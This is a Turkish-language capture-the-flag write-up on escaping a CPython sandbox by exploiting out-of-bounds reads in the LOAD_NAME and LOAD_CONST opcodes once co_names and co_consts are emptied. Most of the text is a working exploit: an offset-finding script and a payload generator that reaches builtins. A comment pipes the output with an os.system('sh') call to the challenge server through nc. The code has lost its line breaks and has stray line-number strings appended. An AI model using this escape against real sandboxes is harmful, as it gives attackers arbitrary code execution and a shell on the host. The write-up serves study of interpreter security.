LOAD_NAME / LOAD_CONST opcode'da OOB okuma özelliğini kullanarak bellekteki bazı sembolleri elde edebiliriz. Bu, istediğiniz sembolü (örneğin fonksiyon adı gibi) elde etmek için (a, b, c, ... yüzlerce sembol ..., __getattribute__) if [] else [].__getattribute__(...) gibi bir hile kullanmaktır.
Sonra sadece saldırınızı oluşturun.
Genel Bakış
Kaynak kodu oldukça kısa, sadece 4 satırdan oluşuyor!
Arbitrary Python kodu girebilirsiniz ve bu, bir Python kod nesnesine derlenecektir. Ancak, bu kod nesnesinin co_consts ve co_names özellikleri, kod nesnesini değerlendirmeden önce boş bir demetle değiştirilecektir.
Bu şekilde, sabitler (örneğin sayılar, dizeler vb.) veya isimler (örneğin değişkenler, fonksiyonlar) içeren tüm ifadeler sonunda hafıza ihlali nedeniyle çökmeye neden olabilir.
Sınırlar Dışında Okuma
Hafıza ihlali nasıl oluşur?
Basit bir örnek ile başlayalım, [a, b, c] aşağıdaki bytecode'a derlenebilir.
Ancak co_names boş bir tuple haline gelirse ne olur? LOAD_NAME 2 opcode hala çalıştırılır ve değeri orijinal olarak olması gereken bellek adresinden okumaya çalışır. Evet, bu bir out-of-bound read "özelliği".
Çözüm için temel kavram basittir. CPython gibi bazı opcodes'lar, örneğin LOAD_NAME ve LOAD_CONST, OOB okumaya karşı savunmasızdır (?).
Bu opcodes'lar, consts veya names tuple'ından (bunlar co_consts ve co_names olarak adlandırılır) oparg indisindeki bir nesneyi alır. CPython'ın LOAD_CONST opcode'yu işlerken ne yaptığını görmek için aşağıdaki kısa örneğe bakabiliriz.
case TARGET(LOAD_CONST): {PREDICTED(LOAD_CONST);PyObject *value =GETITEM(consts, oparg);Py_INCREF(value);PUSH(value);FAST_DISPATCH();}1234567
Bu şekilde, OOB özelliğini kullanarak keyfi bellek ofsetinden bir "isim" alabiliriz. Hangi isme sahip olduğunu ve ofsetinin ne olduğunu belirlemek için sadece LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... denemeye devam edin. Ve oparg > 700 civarında bir şey bulabilirsiniz. Tabii ki bellek düzenine bakmak için gdb'yi de kullanabilirsiniz, ama daha kolay olacağını düşünmüyorum?
Exploit Oluşturma
İsimler / sabitler için bu kullanışlı ofsetleri elde ettikten sonra, bu ofsetten bir isim / sabit nasıl alır ve kullanırız? İşte size bir hile:
5 ofsetinden (LOAD_NAME 5) co_names=() ile __getattribute__ adını alabiliyorsak, sadece aşağıdaki adımları izleyin:
[a,b,c,d,e,__getattribute__] if [] else [[].__getattribute__# you can get the __getattribute__ method of list object now!]1234
Dikkat edin, onu __getattribute__ olarak adlandırmak zorunda değilsiniz, daha kısa veya daha garip bir şey olarak adlandırabilirsiniz.
Sadece bytecode'una bakarak nedenini anlayabilirsiniz:
LOAD_ATTR komutunun da co_names üzerinden ismi alındığını fark edin. Python, isim aynı ise aynı ofsetten isimleri yükler, bu yüzden ikinci __getattribute__ hala offset=5'ten yüklenir. Bu özelliği kullanarak isim bellekte yakınsa herhangi bir isim kullanabiliriz.
Sayıları oluşturmak basit olmalı:
0: not [[]]
1: not []
2: (not []) + (not [])
...
Saldırı Betiği
Uzunluk sınırlaması nedeniyle sabitler kullanmadım.
İlk olarak, isimlerin bu ofsetlerini bulmak için bir betik aşağıda verilmiştir.
from types import CodeTypefrom opcode import opmapfrom sys import argvclassMockBuiltins(dict):def__getitem__(self,k):iftype(k)==str:return kif__name__=='__main__':n =int(argv[1])code = [*([opmap['EXTENDED_ARG'], n //256]if n //256!=0else []),opmap['LOAD_NAME'], n %256,opmap['RETURN_VALUE'],0]c =CodeType(0, 0, 0, 0, 0, 0,bytes(code),(), (), (), '<sandbox>', '<eval>', 0, b'', ())ret =eval(c, {'__builtins__': MockBuiltins()})if ret:print(f'{n}: {ret}')# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
Ve aşağıdaki gerçek Python saldırısını oluşturmak için kullanılır.
import sysimport unicodedataclassGenerator:# get numnerdef__call__(self,num):if num ==0:return'(not[[]])'return'('+ ('(not[])+'* num)[:-1] +')'# get stringdef__getattribute__(self,name):try:offset =None.__dir__().index(name)returnf'keys[{self(offset)}]'exceptValueError:offset =None.__class__.__dir__(None.__class__).index(name)returnf'keys2[{self(offset)}]'_ =Generator()names = []chr_code =0for x inrange(4700):whileTrue:chr_code +=1char = unicodedata.normalize('NFKC', chr(chr_code))if char.isidentifier()and char notin names:names.append(char)breakoffsets ={"__delitem__":2800,"__getattribute__":2850,'__dir__':4693,'__repr__':2128,}variables = ('keys','keys2','None_','NoneType','m_repr','globals','builtins',)for name, offset in offsets.items():names[offset]= namefor i, var inenumerate(variables):assert var notin offsetsnames[792+ i]= varsource =f'''[({",".join(names)}) if [] else [],None_ := [[]].__delitem__({_(0)}),keys := None_.__dir__(),NoneType := None_.__getattribute__({_.__class__}),keys2 := NoneType.__dir__(NoneType),get := NoneType.__getattribute__,m_repr := get(get(get([],{_.__class__}),{_.__base__}),{_.__subclasses__})()[-{_(2)}].__repr__,globals := get(m_repr, m_repr.__dir__()[{_(6)}]),builtins := globals[[*globals][{_(7)}]],builtins[[*builtins][{_(19)}]](builtins[[*builtins][{_(28)}]](), builtins)]'''.strip().replace('\n', '').replace(' ', '')print(f"{len(source) = }", file=sys.stderr)print(source)# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
Temel olarak, __dir__ yönteminden aldığımız dizeler için aşağıdaki işlemleri yapar: